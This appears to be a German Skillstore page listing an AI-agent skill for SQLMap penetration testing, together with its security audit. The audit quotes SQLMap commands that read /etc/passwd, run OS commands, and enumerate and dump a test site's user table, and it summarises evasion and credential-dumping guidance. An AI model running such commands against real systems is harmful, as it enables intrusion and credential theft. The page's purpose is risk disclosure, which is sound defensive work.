Fähigkeiten sqlmap-database-penetration-testing
📦
sqlmap-database-penetration-testing
v1.1 Inhaltsrevision r1 Kritisch ⚙️ Externe Befehle🌐 Netzwerkzugriff
SQL-Injection mit SQLMap bewerten
SQL-Injection-Tests erfordern wiederholbare Prüfungen und eine strenge Kontrolle des Umfangs. Dieser Skill führt durch autorisierte SQLMap-Workflows für Erkennung, Enumeration und Berichterstattung.
Unterstützt: Claude Codex Code(CC)
Diesen Skill nicht automatisch installieren.
Die maßgebliche Richtlinie verlangt vor jeder Installationsaktion eine Prüfung durch einen Bediener.
Mit meinem Agent installieren
Kopieren Sie diese Anfrage in Ihren Agent. Sie enthält die maßgebliche Skill-Seite und das Manifest.
Agent-Anfrage
Review the Skillstore skill "sqlmap-database-penetration-testing" from https://skillstore.io/skills/sickn33-sqlmap-database-penetration-testing.md and its manifest at https://skillstore.io/api/skills/sickn33-sqlmap-database-penetration-testing/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.Ihr Agent sollte weiterhin seinen Plan anzeigen und alle von der Sicherheitsrichtlinie verlangten Bestätigungen anfordern.
Agent-lesbare Ressourcen
Verwenden Sie diese Links, wenn ein KI-Agent, Crawler oder Skript sauberen Kontext benötigt, statt die vollständige Seite zu lesen.
Testen
„sqlmap-database-penetration-testing“ wird verwendet. Autorisierter Tester fragt nach einem sicheren ersten SQLMap-Bewertungsplan.
Erwartetes Ergebnis:
Ein abgegrenzter Testplan mit Zielbestätigung, Erkennung mit geringer Auswirkung, Nachweiserfassung und Reporting-Checkpoints.
„sqlmap-database-penetration-testing“ wird verwendet. Security Engineer fragt, wie eine bestätigte Labor-Injection enumeriert wird.
Erwartetes Ergebnis:
Ein gestufter Workflow, der Datenbankerkennung, Tabellenprüfung, Spaltenprüfung und minimale Nachweiserhebung abdeckt.
„sqlmap-database-penetration-testing“ wird verwendet. Dozent fragt nach einer Unterrichtsübung zu den Auswirkungen von SQL-Injection.
Erwartetes Ergebnis:
Eine labororientierte Unterrichtsskizze mit Voraussetzungen, Annahmen zu kontrollierten Zielen, erwarteten Beobachtungen und Ethikhinweisen.
Sicherheitsaudit
Kritischv5 • 7.7.2026 Versionsbericht öffnen
The static Ruby backtick findings are Markdown false positives, but the skill contains high-risk offensive SQLMap guidance. Confirmed issues include sensitive file access, remote command execution, public target exploitation examples, credential dumping, and evasion guidance.
1
Gescannte Dateien
401
Analysierte Zeilen
4
Prüfelemente
0
Falschmeldungen ignoriert
Bestätigte Sicherheitsbedenken (6)
Kritisch
System password file access
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd" --batch
The example directs SQLMap to read /etc/passwd from a target server. That is sensitive file access through exploitation, even if presented as guidance.
Kritisch
Post-Exploitation Server Control Guidance
The advanced section shows OS shell access, OS command execution, server file reads, and server file writes through SQLMap. These actions can lead to full target host compromise.
The cited section directly includes SQLMap OS shell, OS command, file-read, and file-write operations against a target server.
Hoch
System reconnaissance
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami" --batch
The command runs whoami on the target through SQLMap OS command execution. This is post-exploitation command execution guidance.
Hoch
Credential and Sensitive Data Dumping Guidance
The skill lists extracted usernames, passwords, hashes, and sensitive data as deliverables and provides SQLMap dump workflows. This enables unauthorized database data extraction if used outside approved scope.
The text explicitly names credential and hash extraction and shows table, column, and full database dump workflows.
Hoch
Evasion and Unscoped Target Discovery Guidance
The skill includes Google dork target discovery, random user agents, Tor proxying, request delays, and WAF tamper scripts. These tactics are useful for unauthorized discovery and evasion.
The cited lines combine target discovery with anonymity, rate-limit avoidance, user-agent rotation, and WAF tamper guidance.
Mittel
System reconnaissance
- Consider `--delay` to avoid triggering rate limits
The advice recommends delays to avoid triggering rate limits. This can reduce operational impact, but it also supports evasion during scanning.
Elemente der Fähigkeitsprüfung (4)
Dies sind echte lokale Fähigkeiten, die für diese Fähigkeit erwartet werden können; daher müssen sie überprüft werden, werden jedoch nicht als bestätigtes bösartiges Verhalten gezählt.
Mittel
Hardcoded URL
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --dbs --batch
The example targets a real external vulnerable website with SQLMap enumeration and dumping commands. That creates network exploitation risk if followed outside clear authorization.
Mittel
Hardcoded URL
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart --tables --batch
The example targets a real external vulnerable website with SQLMap enumeration and dumping commands. That creates network exploitation risk if followed outside clear authorization.
Mittel
Hardcoded URL
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --columns --batch
The example targets a real external vulnerable website with SQLMap enumeration and dumping commands. That creates network exploitation risk if followed outside clear authorization.
Mittel
Hardcoded URL
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D acuart -T users --dump --batch
The example targets a real external vulnerable website with SQLMap enumeration and dumping commands. That creates network exploitation risk if followed outside clear authorization.
Risikofaktoren
⚙️ Externe Befehle (92)
SKILL.md:17 SKILL.md:37-43 SKILL.md:43-46 SKILL.md:46-52 SKILL.md:52-57 SKILL.md:57-59 SKILL.md:59-62 SKILL.md:62-63 SKILL.md:63-64 SKILL.md:64-69 SKILL.md:69-71 SKILL.md:71-74 SKILL.md:74-75 SKILL.md:75-80 SKILL.md:80-82 SKILL.md:82-85 SKILL.md:85-86 SKILL.md:86-91 SKILL.md:91-93 SKILL.md:93-96 SKILL.md:96-98 SKILL.md:98-101 SKILL.md:101-103 SKILL.md:103-106 SKILL.md:106-107 SKILL.md:107-108 SKILL.md:108-113 SKILL.md:113-116 SKILL.md:116-119 SKILL.md:119-122 SKILL.md:122-125 SKILL.md:125-130 SKILL.md:130-133 SKILL.md:133-136 SKILL.md:136-144 SKILL.md:144-145 SKILL.md:145-146 SKILL.md:146-147 SKILL.md:147-148 SKILL.md:148-171 SKILL.md:171-172 SKILL.md:172-173 SKILL.md:173-174 SKILL.md:174-175 SKILL.md:175-176 SKILL.md:176-182 SKILL.md:182-183 SKILL.md:183-184 SKILL.md:184-185 SKILL.md:185-186 SKILL.md:186-187 SKILL.md:187-188 SKILL.md:188-189 SKILL.md:189-190 SKILL.md:190-191 SKILL.md:191-192 SKILL.md:192-193 SKILL.md:193-194 SKILL.md:194-195 SKILL.md:195-196 SKILL.md:196-197 SKILL.md:197-198 SKILL.md:198-210 SKILL.md:210-211 SKILL.md:211 SKILL.md:212-222 SKILL.md:222-223 SKILL.md:223-224 SKILL.md:224-229 SKILL.md:229-244 SKILL.md:244-247 SKILL.md:247-257 SKILL.md:257-260 SKILL.md:260-267 SKILL.md:267-270 SKILL.md:270-276 SKILL.md:276-279 SKILL.md:279-293 SKILL.md:293-296 SKILL.md:296-308 SKILL.md:308-315 SKILL.md:315-327 SKILL.md:327-332 SKILL.md:332-347 SKILL.md:347-352 SKILL.md:352-361 SKILL.md:361-366 SKILL.md:366-372 SKILL.md:372-377 SKILL.md:377-386 SKILL.md:386-391 SKILL.md:391-400
🌐 Netzwerkzugriff (27)
SKILL.md:39 SKILL.md:48 SKILL.md:51 SKILL.md:58 SKILL.md:70 SKILL.md:81 SKILL.md:92 SKILL.md:97 SKILL.md:102 SKILL.md:127 SKILL.md:128 SKILL.md:231 SKILL.md:235 SKILL.md:239 SKILL.md:243 SKILL.md:262 SKILL.md:263 SKILL.md:272 SKILL.md:275 SKILL.md:281 SKILL.md:288 SKILL.md:298 SKILL.md:301 SKILL.md:304 SKILL.md:307 SKILL.md:262 SKILL.md:263
Erkannte Muster
System password file accessSystem reconnaissance×2
Geprüft von: codex Audit-Verlauf anzeigen →
Diesen Bericht teilen & zitieren
Teile den versionierten Bewertungsbericht, das neutrale Badge, die Einbettungskarte und Zitate. Skillstore berichtet Nachweise, ohne zu entscheiden, ob dieser Skill sicher ist.
Berichtslink kopieren
https://skillstore.io/skills/sickn33-sqlmap-database-penetration-testing/audits/5?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdown-Badge
[](https://skillstore.io/skills/sickn33-sqlmap-database-penetration-testing?utm_source=security_passport_badge)HTML-Badge
<a href="https://skillstore.io/skills/sickn33-sqlmap-database-penetration-testing?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-sqlmap-database-penetration-testing/security.svg" alt="Skillstore security assessment" loading="lazy"></a>Einbettungskarte
<iframe src="https://skillstore.io/embed/skills/sickn33-sqlmap-database-penetration-testing.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>Wissenschaftliche Zitate (APA · BibTeX · CFF)
APA-Zitat
sickn33. (2026). sqlmap-database-penetration-testing security audit report (audit version 5) [Author version 1.1]. Skillstore. https://skillstore.io/skills/sickn33-sqlmap-database-penetration-testing/audits/5BibTeX-Zitat
@techreport{sickn33-sickn33-sqlmap-database-penetration-testing-2026,
author = {sickn33},
title = {sqlmap-database-penetration-testing security audit report (audit version 5)},
institution = {Skillstore},
year = {2026},
number = {5},
url = {https://skillstore.io/skills/sickn33-sqlmap-database-penetration-testing/audits/5},
note = {Author version 1.1}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "sqlmap-database-penetration-testing security audit report (audit version 5)"
version: "1.1"
type: report
authors:
- name: "sickn33"
date-released: "2026-07-07"
url: "https://skillstore.io/skills/sickn33-sqlmap-database-penetration-testing/audits/5"
identifiers:
- type: other
value: "skillstore:sickn33-sqlmap-database-penetration-testing:audit:5"
description: "Skillstore immutable audit report identifier"
Skillstore-Score
Warum dieser Score Evidenzvertrauen: Mittel 55
Architektur
85
Wartbarkeit
87
Inhalt
69
Gemeinschaft
83
Spezifikationskonformität
Was Sie erstellen können
Abgegrenzte Webanwendungen validieren
SQLMap-Prüfungen für eine vom Kunden genehmigte URL planen und Injection-Nachweise dokumentieren, ohne den Umfang zu überschreiten.
Behebung in Staging bestätigen
Einen behobenen Endpoint in einer kontrollierten Umgebung erneut testen und das aktuelle Verhalten mit dem früheren Finding vergleichen.
Konzepte von Datenbankangriffen vermitteln
Laborübungen erstellen, die SQL-Injection-Enumeration, Auswirkungen und Verantwortlichkeiten bei der Berichterstattung erklären.
Diese Prompts ausprobieren
Autorisierte Prüfung beginnen
Ich habe eine schriftliche Autorisierung, diesen Labor-Endpoint zu testen. Hilf mir, eine SQLMap-Prüfung mit geringer Auswirkung und Reporting-Notizen zu planen.
Datenbankstruktur abbilden
Skizziere für ein autorisiertes Trainingsziel die SQLMap-Sequenz, um Datenbanken, Tabellen und Spalten sicher zu enumerieren.
Erfasste Requests verwenden
Ich habe eine abgegrenzte HTTP-Request-Datei aus meinem Engagement. Erkläre, wie ich den ausgewählten Parameter teste und Nachweise erfasse.
Fortgeschrittenes Retesting planen
Hilf mir innerhalb einer genehmigten Staging-Umgebung, SQLMap-Optionen für Zuverlässigkeit zu tunen und dabei Traffic sowie Datenzugriff zu minimieren.
Bewährte Praktiken
- Vor jedem Scan schriftliche Autorisierung und exakten Umfang bestätigen.
- Eigene Systeme, Staging-Umgebungen oder speziell erstellte Trainingslabore verwenden.
- Nur die minimal erforderlichen Nachweise sammeln und unnötige Dumps sensibler Daten vermeiden.
Vermeiden
- Scans gegen unbekannte Domains oder Suchergebnisse ausführen.
- Zugangsdaten dumpen, wenn ein begrenzter Nachweis ausreicht.
- Evasion- oder Anonymitätsoptionen verwenden, um Monitoring zu umgehen.
Häufig gestellte Fragen
Führt dieser Skill SQLMap automatisch aus?
Nein. Er bietet Anleitung und Beispiel-Workflows. Nutzer müssen Tools selbst in autorisierten Umgebungen ausführen.
Kann ich ihn auf öffentlichen Websites verwenden?
Nur mit ausdrücklicher schriftlicher Genehmigung. Nicht genehmigte Tests können illegal und schädlich sein.
Welche Tools setzt er voraus?
Er setzt voraus, dass SQLMap installiert ist und der Nutzer gültige HTTP-Requests erfassen oder bereitstellen kann.
Hilft er bei der Berichterstattung?
Ja. Er hebt Nachweise, Schritte zur Datenbank-Enumeration, Einschränkungen und Hinweise zum rechtlichen Umfang hervor.
Kann er Sicherheitskontrollen umgehen?
Die Quelle enthält Evasion-Beispiele. Verwende solche Optionen nur, wenn sie im Umfang ausdrücklich erlaubt sind.
Ist er für Einsteiger geeignet?
Er kann Einsteigern in Laboren helfen, aber Nutzer benötigen grundlegende Kenntnisse der Websicherheit und eine klare Autorisierung.